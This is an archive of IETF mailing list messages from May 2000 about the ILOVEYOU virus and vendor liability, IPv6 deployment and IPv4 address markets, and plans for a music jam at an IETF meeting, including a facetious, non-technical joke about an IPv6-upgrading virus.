From owner-ietf-outbound  Sun May  7 15:10:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11476
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 15:10:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11446
	for <ietf@ietf.org>; Sun, 7 May 2000 15:06:41 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA22145;
        Sun, 7 May 2000 15:06:38 -0400 (EDT)
Message-Id: <200005071906.PAA22145@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: John C Klensin <klensin@jck.com>
cc: Keith Moore <moore@cs.utk.edu>, Jacob Palme <jpalme@DSV.SU.SE>,
        IETF general mailing list <ietf@ietf.org>
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Sun, 07 May 2000 12:43:00 EDT."
             <4220640848.957703380@P2> 
Date: Sun, 07 May 2000 15:06:38 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> However, in the more general case, if one takes the position
> that, if I build a dangerous-but-useful tool and someone misuses
> it, I should be held responsible, we are going to end up with
> rules against a lot of very useful stuff including, in extreme
> cases, many open source environments.

understood, and agreed that that danger exists.

however I do think there is some culpability on the part of the
software vendor.  and from a purely pragmatic perspective, it's a 
lot easier for the vendor to make software that is less susceptible 
to such things, than it is to get rid of the virus writers.

and if the folks who sell such software would just fix this, we wouldn't 
need to care so much about culpability.  but I'm not holding my breath
waiting for this to happen.

Keith



From owner-ietf-outbound  Sun May  7 15:30:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11698
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 15:30:02 -0400 (EDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA11633
	for <ietf@ietf.org>; Sun, 7 May 2000 15:25:27 -0400 (EDT)
Received: from sonic.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.15994-0@bells.cs.ucl.ac.uk>; Sun, 7 May 2000 20:25:22 +0100
to: IETF general mailing list <ietf@ietf.org>, J.Crowcroft@CS.UCL.AC.UK
Subject: Re: VIRUS WARNING & music at pittsburg?
In-reply-to: Your message of "Sun, 07 May 2000 17:55:19 +0200." <v0421010eb53b3e500a1b@[130.237.150.138]>
Date: Sun, 07 May 2000 20:25:21 +0100
Message-ID: <5071.957727521@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
X-Loop: ietf@ietf.org



1/ i think microsoft and the alleged hacker have provived an exxcellent lesson in active networks

2/ is anyone interested in jamming at the next IETF (folk, jazz, rock, thrash, triphop etc - you know, primal
scream...) - i  can bring a guitar (or bass or flute or something...) but local folks would 
be easier on the wrists!!!


j.



From owner-ietf-outbound  Sun May  7 15:40:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11833
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 15:40:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11646
	for <ietf@ietf.org>; Sun, 7 May 2000 15:28:24 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA22321;
        Sun, 7 May 2000 15:28:20 -0400 (EDT)
Message-Id: <200005071928.PAA22321@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Jacob Palme <jpalme@DSV.SU.SE>
cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Sun, 07 May 2000 17:55:19 +0200."
             <v0421010eb53b3e500a1b@[130.237.150.138]> 
Date: Sun, 07 May 2000 15:28:20 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

Jacob,

Given a choice between reducing crime via more government surveillance 
and reducing crime via software that doesn't do stupid things, I'd far 
prefer the latter.  I don't know of any good reason for a mail reader
to make it so easy to execute code that can have harmful side effects,
but history has provided us with many examples of governments abusing
their power (legitimate or otherwise) to conduct surveillance.

not that this is terribly relevant to the ILOVEYOU virus...the virus is 
being transmitted in the clear; the US government (at least) seems 
perfectly knowledgable about it and ISPs appear to have been
cooperating with government authorities to help track down the source.
it's not as if the code is a secret, and if I believe the news reports 
the authorities are already very close to nabbing the culprit.  
(or at least, a suspect...)

Keith

note that the IETF policy is to not develop facilities specifically for 
the purpose of supporting government surveillance...this does not
mean that IETF is actively trying to prevent governments from 
conducting surveillance, either using facilities developed for other
purposes, or facilities not developed by IETF.  it just means that 
IETF has decided to concentrate its energies in other areas.



From owner-ietf-outbound  Sun May  7 15:50:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA11960
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 15:50:05 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11675
	for <ietf@ietf.org>; Sun, 7 May 2000 15:29:38 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id PAA22335;
        Sun, 7 May 2000 15:29:32 -0400 (EDT)
Message-Id: <200005071929.PAA22335@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Greg Skinner <gds@best.com>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Sun, 07 May 2000 09:49:19 PDT."
             <200005071649.JAA05376@shell5.ba.best.com> 
Date: Sun, 07 May 2000 15:29:32 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

> > but sooner or later folks are going to be held liable for poor engineering
> > or poor implementation of networking software, just like folks today can be
> > held liable for poor engineering or implementation of bridges or buildings.
> 
> I don't see how, as long as the software manufacturers ship the software
> with legal disclaimers, e.g. "We are not responsible for damages ..."

sooner or later that phrase will be recognized as less valuable
than bovine feces.

Keith



From owner-ietf-outbound  Sun May  7 16:40:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id QAA12389
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 16:40:02 -0400 (EDT)
Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA12357
	for <ietf@ietf.org>; Sun, 7 May 2000 16:38:40 -0400 (EDT)
Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1])
        by astro.cs.utk.edu (cf 8.9.3) with ESMTP id QAA22726;
        Sun, 7 May 2000 16:38:40 -0400 (EDT)
Message-Id: <200005072038.QAA22726@astro.cs.utk.edu>
X-URI: http://www.cs.utk.edu/~moore/
From: Keith Moore <moore@cs.utk.edu>
To: Greg Skinner <gds@best.com>
cc: ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated? 
In-reply-to: Your message of "Sun, 07 May 2000 11:51:27 PDT."
             <200005071851.LAA06447@shell5.ba.best.com> 
Date: Sun, 07 May 2000 16:38:40 -0400
Sender: moore@cs.utk.edu
X-Loop: ietf@ietf.org

for a long time the assumption was that IPv6 would be deployed first
in the core, and then in the periphery, of the net.  I'm now of the
opinion that IPv6 will be deployed first in the periphery -
both in emerging networks that need large amounts of address space,
and in existing IPv4 nets using 6to4 - and it will be deployed
by folks who have applications that need global address space
(and which perhaps aren't already widely deployed using v4)
and by folks who need to be able to access the new IPv6-only networks.
the emerging networks may be large networks in parts of the world
that are just now getting on the Internet, wireless networks,
and other networks designed to support large-scale data gathering.
(power meters, auto traffic monitors, environmental monitoring,
security systems, etc.)

I think we will have a long period of v4/v6 coexistence, with v4 
becoming more and more NATted and popular applications moving
over to v6 based on how poorly they work under NATted IPv4.  the 
older and better established the application under IPv4, the longer 
it will take to move it to v6.  SMTP will use IPv4 for a very long 
time - not that it won't use IPv6 when available, but for a long time
you'll need to have at least one IPv4-based SMTP server acting as a 
mail exchanger for your domain, in order to reliably receive mail.

the core will support v6 when it makes economic sense - i.e. when
top tier ISPs can save enough on bandwidth and support costs (as compared 
to tunneling) to make the investment worthwhile.  which is not to
say that some major ISPs won't support IPv6 before then.

as for your AM vs. FM analogy - there are a variety of theories about
this, ranging anywhere from artifically making v4 addresses even 
more scarce to encouraging a run on v4 address space and making them
scarce that way.  but I think the shortage of IPv4 address space 
will encourage adoption of IPv6 even without changing allocation policy.

Keith



From owner-ietf-outbound  Sun May  7 17:10:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA12666
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 17:10:02 -0400 (EDT)
Received: from sean.ebone.net (IDENT:postfix@sean.ebone.net [195.158.227.211])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12616
	for <ietf@ietf.org>; Sun, 7 May 2000 17:05:00 -0400 (EDT)
Received: by sean.ebone.net (Postfix, from userid 1113)
	id 4B5AA875; Sun,  7 May 2000 23:04:56 +0200 (CEST)
To: ietf@ietf.org, moore@cs.utk.edu
Subject: Re: IPv6: Past mistakes repeated?
Message-Id: <20000507210456.4B5AA875@sean.ebone.net>
Date: Sun,  7 May 2000 23:04:56 +0200 (CEST)
From: smd@ebone.net (Sean Doran)
X-Loop: ietf@ietf.org

Keith Moore writes:

| the core will support v6 when it makes economic sense - i.e. when
| top tier ISPs can save enough on bandwidth and support costs (as compared 
| to tunneling) to make the investment worthwhile.

Perry Metzger had this to say a long time ago (1999 12 03):

>Peter made the absurd statement at DC that he'd be willing to provide
>v6 at some high multiple of the price of v4. Why should we bother? I
>can just pay 5% more for the extra bandwidth encapsulation will
>consume and ignore you until such time as you decide it is in your
>interest to offer native service.

Clearly he agrees with you that the core of the Internet can 
effectively run IPv4ever, or at least until there is a clear
advantage to running IPv6.   

Peter Lothberg, meanwhile, has proposed a price which would
make it worthwhile for certain ISPs to become dual-protocol.
I'm sure others would be interested.  Maybe you guys can convince
the U.S. and European Taxpayers to pay this cost through direct
and indirect government grants and subsidies to ISPs and ISPs'
customers, sort-of like what used to happen in the OSI days?

| as for your AM vs. FM analogy - there are a variety of theories about
| this, ranging anywhere from artifically making v4 addresses even 
| more scarce to encouraging a run on v4 address space and making them
| scarce that way.

I would like to see a market develop for IPv4 addresses, along the
lines of the late PIARA work.   This would also encourage a 
market for routing-table entries, both of which would produce a significant
incentive to dramatically improve upon on-the-fly host-renumbering.

There is no reason to believe a PIARA-style market for IPv6 addresses
and routing-table entries could not also be interesting and perhaps useful.

There is clearly a "price" associated with receiving a TLA allocation,
namely the compliance with a number of IETF-produced rules with respect
to how one conducts one's business.   I counterbid $1000 in U.S. currency.

	Sean.

P.S. by "routing-table entries", I mean of course, not just the
     consumption of memory and CPU resources in forwarding packets
in to large numbers of possible destinations, but also the cost
in various resources (bandwidth, CPU, complexity) of acquiring
and propagating information which may lead to routing-table changes.



From owner-ietf-outbound  Sun May  7 17:40:08 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA12932
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 17:40:02 -0400 (EDT)
Received: from mail.perspex.com (IDENT:tlilley@mail.perspex.com [12.5.16.108])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12887
	for <ietf@ietf.org>; Sun, 7 May 2000 17:32:06 -0400 (EDT)
Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id VAA22198; Sun, 7 May 2000 21:36:45 GMT
Date: Sun, 7 May 2000 21:36:45 +0000 (/etc/localtime)
From: Tripp Lilley <tlilley@perspex.com>
To: Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
cc: IETF general mailing list <ietf@ietf.org>
Subject: Re: music at pittsburgh?
In-Reply-To: <5071.957727521@cs.ucl.ac.uk>
Message-ID: <Pine.LNX.3.96.1000507213442.19098V-100000@mail.perspex.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Sun, 7 May 2000, Jon Crowcroft wrote:

> 2/ is anyone interested in jamming at the next IETF (folk, jazz, rock,
> thrash, triphop etc - you know, primal scream...) - i can bring a guitar
> (or bass or flute or something...) but local folks would be easier on
> the wrists!!! 

I just got a bodhran I'm itchin' to play...

--
   Tripp Lilley  *  tripp@perspex.com  *  http://stargate.sg505.net/~tlilley/
------------------------------------------------------------------------------
  "I get a lot of letters like, 'Dear John, I've got a dead alien. What
   should I do with it?'  One word: barbecue!"

   - John Lovitz, A Yellow Pages commercial



From owner-ietf-outbound  Sun May  7 17:50:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA13061
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 17:50:02 -0400 (EDT)
Received: from mail.perspex.com (IDENT:tlilley@mail.perspex.com [12.5.16.108])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12908
	for <ietf@ietf.org>; Sun, 7 May 2000 17:37:28 -0400 (EDT)
Received: from localhost (tlilley@localhost) by mail.perspex.com (8.8.7/8.7.3) with SMTP id VAA22211; Sun, 7 May 2000 21:41:56 GMT
Date: Sun, 7 May 2000 21:41:56 +0000 (/etc/localtime)
From: Tripp Lilley <tlilley@perspex.com>
To: Keith Moore <moore@cs.utk.edu>
cc: Greg Skinner <gds@best.com>, ietf@ietf.org
Subject: Re: IPv6: Past mistakes repeated? 
In-Reply-To: <200005072038.QAA22726@astro.cs.utk.edu>
Message-ID: <Pine.LNX.3.96.1000507213756.19098W-100000@mail.perspex.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Sun, 7 May 2000, Keith Moore wrote:

> the core will support v6 when it makes economic sense - i.e. when
> top tier ISPs can save enough on bandwidth and support costs (as compared 
> to tunneling) to make the investment worthwhile.  which is not to
> say that some major ISPs won't support IPv6 before then.

We came up with a wacky idea here yesterday at Interop... Why not
accelerate v6 deployment by writing a virus that will upgrade
end-stations' stacks? :)

That will give us the pervasive deployment needed to convince the ISPs to
upgrade the core. The "upgrade" that the virus propagates can do
gratuitous tunneling until it discovers that the infrastructure between it
and the rest of the world has been upgraded.

I mean, let's at least turn this (W)insecure liability into _some_ kind of
asset :)

(yes, any such toy would need to include a raft of known exploits for
various Unices, so we can include them in the "upgrade") :)

-- 
   Tripp Lilley  *  tripp@perspex.com  *  http://stargate.sg505.net/~tlilley/
------------------------------------------------------------------------------
  "I get a lot of letters like, 'Dear John, I've got a dead alien. What
   should I do with it?'  One word: barbecue!"

   - John Lovitz, A Yellow Pages commercial



From owner-ietf-outbound  Sun May  7 18:20:19 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA13403
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 18:20:02 -0400 (EDT)
Received: from prue.eim.surrey.ac.uk (IDENT:exim@prue.eim.surrey.ac.uk [131.227.76.5])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13337
	for <ietf@ietf.org>; Sun, 7 May 2000 18:14:55 -0400 (EDT)
Received: from petra.ee.surrey.ac.uk ([131.227.88.13] ident=eep1lw)
	by prue.eim.surrey.ac.uk with esmtp (Exim 3.03 #1)
	id 12oZK5-00032N-00; Sun, 07 May 2000 23:14:49 +0100
Date: Sun, 7 May 2000 23:14:46 +0100 (BST)
From: Lloyd Wood <l.wood@eim.surrey.ac.uk>
X-Sender: eep1lw@petra.ee.surrey.ac.uk
Reply-To: L.Wood@eim.surrey.ac.uk
To: Keith Moore <moore@cs.utk.edu>
cc: Jacob Palme <jpalme@DSV.SU.SE>, IETF general mailing list <ietf@ietf.org>
Subject: Re: VIRUS WARNING
In-Reply-To: <200005071928.PAA22321@astro.cs.utk.edu>
Message-ID: <Pine.GSO.4.21.0005072307580.26789-100000@petra.ee.surrey.ac.uk>
Organization: speaking for none
X-url: http://www.ee.surrey.ac.uk/Personal/L.Wood/
X-no-archive: yes
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Loop: ietf@ietf.org

On Sun, 7 May 2000, Keith Moore wrote:

> Given a choice between reducing crime via more government surveillance 
> and reducing crime via software that doesn't do stupid things, I'd far 
> prefer the latter.  I don't know of any good reason for a mail reader
> to make it so easy to execute code that can have harmful side effects,

'freedom to innovate'.

In software, anything that can be imagined will be implemented.
Badly.

L.

watching nightmares come true.

<L.Wood@surrey.ac.uk>PGP<http://www.ee.surrey.ac.uk/Personal/L.Wood/>



From owner-ietf-outbound  Sun May  7 18:30:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id SAA13483
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 18:30:02 -0400 (EDT)
Received: from po2.bbn.com (PO2.BBN.COM [192.1.50.36])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13460
	for <ietf@ietf.org>; Sun, 7 May 2000 18:29:35 -0400 (EDT)
Received: from ti.bbn.com (TC045.BBN.COM [128.33.238.45])
	by po2.bbn.com (8.9.1/8.9.1) with SMTP id SAA20902;
	Sun, 7 May 2000 18:29:42 -0400 (EDT)
Message-Id: <3.0.3.32.20000507182620.00d88fd0@po2.bbn.com>
X-Sender: welsh@po2.bbn.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32)
Date: Sun, 07 May 2000 18:26:20 -0400
To: Tripp Lilley <tlilley@perspex.com>,
        Jon Crowcroft <J.Crowcroft@CS.UCL.AC.UK>
From: Bob Welsh <welsh@bbn.com>
Subject: Re: music at pittsburgh?
Cc: IETF general mailing list <ietf@ietf.org>
In-Reply-To: <Pine.LNX.3.96.1000507213442.19098V-100000@mail.perspex.com
 >
References: <5071.957727521@cs.ucl.ac.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

I'll bring some harmonmicas!
At 09:36 PM 5/7/2000 +0000, Tripp Lilley wrote:
>On Sun, 7 May 2000, Jon Crowcroft wrote:
>
>> 2/ is anyone interested in jamming at the next IETF (folk, jazz, rock,
>> thrash, triphop etc - you know, primal scream...) - i can bring a guitar
>> (or bass or flute or something...) but local folks would be easier on
>> the wrists!!! 
>
>I just got a bodhran I'm itchin' to play...
>
>--
>   Tripp Lilley  *  tripp@perspex.com  *  http://stargate.sg505.net/~tlilley/
>---------------------------------------------------------------------------
---
>  "I get a lot of letters like, 'Dear John, I've got a dead alien. What
>   should I do with it?'  One word: barbecue!"
>
>   - John Lovitz, A Yellow Pages commercial
>
>



From owner-ietf-outbound  Sun May  7 21:20:26 2000
Received: by ietf.org (8.9.1a/8.9.1a) id VAA14722
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 21:20:02 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA14681
	for <ietf@ietf.org>; Sun, 7 May 2000 21:10:12 -0400 (EDT)
Received: (from bmanning@localhost)
	by boreas.isi.edu (8.8.7/8.8.6) id SAA22920;
	Sun, 7 May 2000 18:10:11 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200005080110.SAA22920@boreas.isi.edu>
Subject: Re: IPv6: Past mistakes repeated?
To: smd@ebone.net (Sean Doran)
Date: Sun, 7 May 2000 18:10:11 -0700 (PDT)
Cc: ietf@ietf.org, moore@cs.utk.edu
In-Reply-To: <20000507210456.4B5AA875@sean.ebone.net> from "Sean Doran" at May 07, 2000 11:04:56 PM
X-Mailer: ELM [version 2.5 PL2]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit


Sigh,
	Please -NOT- the PIARA again. There is near zero value in the
number/address and very real value in the routing slot. Perhaps it is 
best to simply have ebone route filter on the /16 boundaries to drive
home your point. (being cranky this morning)


% I would like to see a market develop for IPv4 addresses, along the
% lines of the late PIARA work.   This would also encourage a 
% market for routing-table entries, both of which would produce a significant
% incentive to dramatically improve upon on-the-fly host-renumbering.
% 
% 	Sean.
% 
% P.S. by "routing-table entries", I mean of course, not just the
%      consumption of memory and CPU resources in forwarding packets
% in to large numbers of possible destinations, but also the cost
% in various resources (bandwidth, CPU, complexity) of acquiring
% and propagating information which may lead to routing-table changes.
% 
% 


-- 
--bill



From owner-ietf-outbound  Sun May  7 22:00:11 2000
Received: by ietf.org (8.9.1a/8.9.1a) id WAA15976
	for ietf-outbound.10@ietf.org; Sun, 7 May 2000 22:00:02 -0400 (EDT)
Received: from shell.nominum.com (shell.nominum.com [204.152.187.59])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15934
	for <ietf@ietf.org>; Sun, 7 May 2000 21:56:45 -0400 (EDT)
Received: from nominum.com (shell.nominum.com [204.152.187.59])
	by shell.nominum.com (Postfix) with ESMTP
	id 9ED4931905; Sun,  7 May 2000 18:56:15 -0700 (PDT)
Message-ID: <39161EBC.29275EDF@nominum.com>
Date: Sun, 07 May 2000 18:56:12 -0700
From: "David R. Conrad" <David.Conrad@nominum.com>
Organization: Nominum, Inc.
X-Mailer: Mozilla 4.72 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en,ja
MIME-Version: 1.0
To: Bill Manning <bmanning@ISI.EDU>
Cc: Sean Doran <smd@EBONE.NET>, ietf@ietf.org, moore@cs.utk.edu
Subject: Re: IPv6: Past mistakes repeated?
References: <200005080110.SAA22920@boreas.isi.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Heh. 

I know someone who wants to offer a class B at seven figures and for class B's
that "sold" for 5 figures.  And you say addresses have no value.  

Ah, nostalgia.  It's so nice to revisit old "discussions"...

Rgds,
-drc

Bill Manning wrote:
> 
> Sigh,
>         Please -NOT- the PIARA again. There is near zero value in the
> number/address and very real value in the routing slot. Perhaps it is
> best to simply have ebone route filter on the /16 boundaries to drive
> home your point. (being cranky this morning)
> 
> % I would like to see a market develop for IPv4 addresses, along the
> % lines of the late PIARA work.   This would also encourage a
> % market for routing-table entries, both of which would produce a significant
> % incentive to dramatically improve upon on-the-fly host-renumbering.
> %
> %       Sean.
> %
> % P.S. by "routing-table entries", I mean of course, not just the
> %      consumption of memory and CPU resources in forwarding packets
> % in to large numbers of possible destinations, but also the cost
> % in various resources (bandwidth, CPU, complexity) of acquiring
> % and propagating information which may lead to routing-table changes.
> %
> %
> 
> --
> --bill
> 
> -
> This message was passed through ietf+censored@alvestrand.no, which
> is a sublist of ietf@ietf.org. Not all messages are passed.
> Decisions on what to pass are made solely by Harald Alvestrand.



From owner-ietf-outbound  Mon May  8 00:40:18 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA18212
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 00:40:02 -0400 (EDT)
Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA18189
	for <ietf@ietf.org>; Mon, 8 May 2000 00:39:56 -0400 (EDT)
Received: (from bovik@localhost)
	by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id VAA08346;
	Sun, 7 May 2000 21:39:36 -0700 (PDT)
Date: Sun, 7 May 2000 21:39:36 -0700 (PDT)
From: "James P. Salsman" <bovik@best.com>
Message-Id: <200005080439.VAA08346@shell9.ba.best.com>
To: ietf@ietf.org
Subject: contest: win valuable Microsoft stock!
X-Loop: ietf@ietf.org

Keith Moore wrote:

>...  I do think there is some culpability on the part of the
> software vendor.  and from a purely pragmatic perspective, it's a
> lot easier for the vendor to make software that is less susceptible
> to such things, than it is to get rid of the virus writers.
>
> and if the folks who sell such software would just fix this, we
> wouldn't need to care so much about culpability.  but I'm not
> holding my breath waiting for this to happen.

I fully agree and have decided to sponsor a contest to correct
the situation.  I will give one share of Microsoft stock to the
first person who posts, to this IETF Discussion list, a draft
shareholder resolution that would, in the opinion of Keith Moore
or his designated alternate, correct the situation if it were
adopted by Microsoft Corporation as we currently know it.

Moreover, as a fellow shareholder, I will second the resolution 
in communication with Microsoft's corporate secretariat.  
Furthermore, I'll pay Keith or his designate $10 to judge the entries.
I am doing this because I've been unable to communicate successfully 
with Microsoft as a customer, shareholder, and erstwhile employee.  
This will at least give me a fresh perspective, and with luck might 
get something done.  If it doesn't, we have legal recourse with the 
antitrust remedy proceedings.

Here's your chance to hone your shareholder proposal-writing skills!  
Be the first to post a resolution that passes muster with Keith 
and win a valuable share of Microsoft stock!

Cheers,
James

-- 
IMS Q&TI Editor project description: http://www.bovik.org/imsqtied.html
Open-source development:  http://sourceforge.net/project/?group_id=3308



From owner-ietf-outbound  Mon May  8 03:00:56 2000
Received: by ietf.org (8.9.1a/8.9.1a) id DAA00702
	for ietf-outbound.10@ietf.org; Mon, 8 May 2000 03:00:02 -0400 (EDT)
Received: from mail.nanospace.com (qmailr@mail.nanospace.com [209.213.199.10])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA00616
	for <ietf@ietf.org>; Mon, 8 May 2000 02:52:35 -0400 (EDT)
Received: (qmail 3943 invoked by uid 74); 8 May 2000 06:52:35 -0000
Received: from jdunn@yipes.com by mail with scan4virus-0.19 (Clean. Processed in 1.718993 secs); 07/05/2000 23:52:33
Received: from ppp-209-213-195-59.nanospace.com (HELO zzsf220) (209.213.195.59)
  by mail.nanospace.com with SMTP; 8 May 2000 06:52:33 -0000
Reply-To: <jdunn@yipes.com>
From: "Jim Stephenson-Dunn" <jdunn@yipes.com>
To: "'Lillian Komlossy'" <Lillian@dmnews.com>
Cc: <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Sun, 7 May 2000 23:52:14 -0700
Message-ID: <01C88F753E97D311A7180090278D1D40689B91@teamsf.yipes.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 1 (Highest)
X-MSMail-Priority: High
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: High
In-Reply-To: <01C88F753E97D311A7180090278D1D40769401@teamsf.yipes.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Sorry Lillian, Forgot to add the smiley !!! Did not intend to upset anybody

I actually use both systems, but prefer Unix ;->

Jim

-----Original Message-----
From: Lillian Komlossy [mailto:Lillian@dmnews.com]
Sent: Thursday, May 04, 2000 2:28 PM
To: Jim Dunn
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING 


Let's not make it political. We've all been attacked, it is pointless
to bring in the Unix vs Windows debate. Office, Windows, Unix, Linux, Mac 
are all great as long as somebody likes to work with them. 
I personally like Microsoft products, but I respect those who don't - and
expect the same respect from them.

Lillian Komlossy                     
Site Manager                         
http://www.dmnews.com           
http://www.imarketingnews.com  
(212) 925-7300 ext. 232 


-----Original Message-----
From: Jim Stephenson-Dunn [mailto:jdunn@yipes.com]
Sent: Thursday, May 04, 2000 4:18 PM
To: 'A James Lewis'; 'Lillian Komlossy'
Cc: ietf@ietf.org
Subject: RE: VIRUS WARNING 


Office for Unix, Now there's a terrifying thought !!!!

(please don't contaminate the purity of my unix system with that filthy
windows software)

Jim

Jim Dunn

Senior Network Engineer
San Francisco NOC



-----Original Message-----
From: A James Lewis [mailto:james@fsck.co.uk]
Sent: Thursday, May 04, 2000 11:53 AM
To: Lillian Komlossy
Cc: 'ietf@ietf.org'
Subject: RE: VIRUS WARNING



The whole world will use what they are presented with.... the difference
between Win3.1 and Win95 is far greater than the difference between Win95
and GNOME or KDE... so actually it's only software availability thats
holding back IS departments the world over!

If MS gets split, we could have Office for UNIX sooner rather than
later too!

On Thu, 4 May 2000, Lillian Komlossy wrote:

> Donald,
>
> The whole world will not switch over to Unix
> - the average user will always be more confortable with Windows
> unless Unix will at one point offer the same  seamless user-friendliness.
> So it will always be a problem, one which cannot be solved by telling
> others not to use what they've accustomed to - and one which cannot be
> ignored.
>
>
> Lillian Komlossy
> Site Manager
> http://www.dmnews.com
> http://www.imarketingnews.com
> (212) 925-7300 ext. 232
>
>
> -----Original Message-----
> From: Donald E. Eastlake 3rd [mailto:dee3@torque.pothole.com]
> Sent: Thursday, May 04, 2000 10:48 AM
> To: ietf@ietf.org
> Subject: Re: VIRUS WARNING
>
>
>
> The whole world does not run software which is a good culture medium
> for email viruses.  I mostly use nice old UNIX software and it would
> take a number of extra steps on my part for some embdedded virus to
> get a chance to run.  If your software automatically executes stuff
> in attachments, you need to change your software, not develope a list
> of subject lines you are freightened of.
>
> Donald
>
> From:  "Scot Mc Pherson" <smcpherson@clearaccess.net>
> To:  <isp-wireless@isp-wireless.com>, <ietf@ietf.org>
> Date:  Thu, 4 May 2000 09:27:19 -0400
> Message-ID:  <00cf01bfb5cc$79bc4280$4cc8a8c0@clearaccess.net>
> Content-Type:  text/plain;
> 	      	charset="iso-8859-1"
> Content-Transfer-Encoding:  7bit
> X-MSMail-Priority:  Normal
> X-MimeOLE:  Produced By Microsoft MimeOLE V5.00.2314.1300
> Importance:  Normal
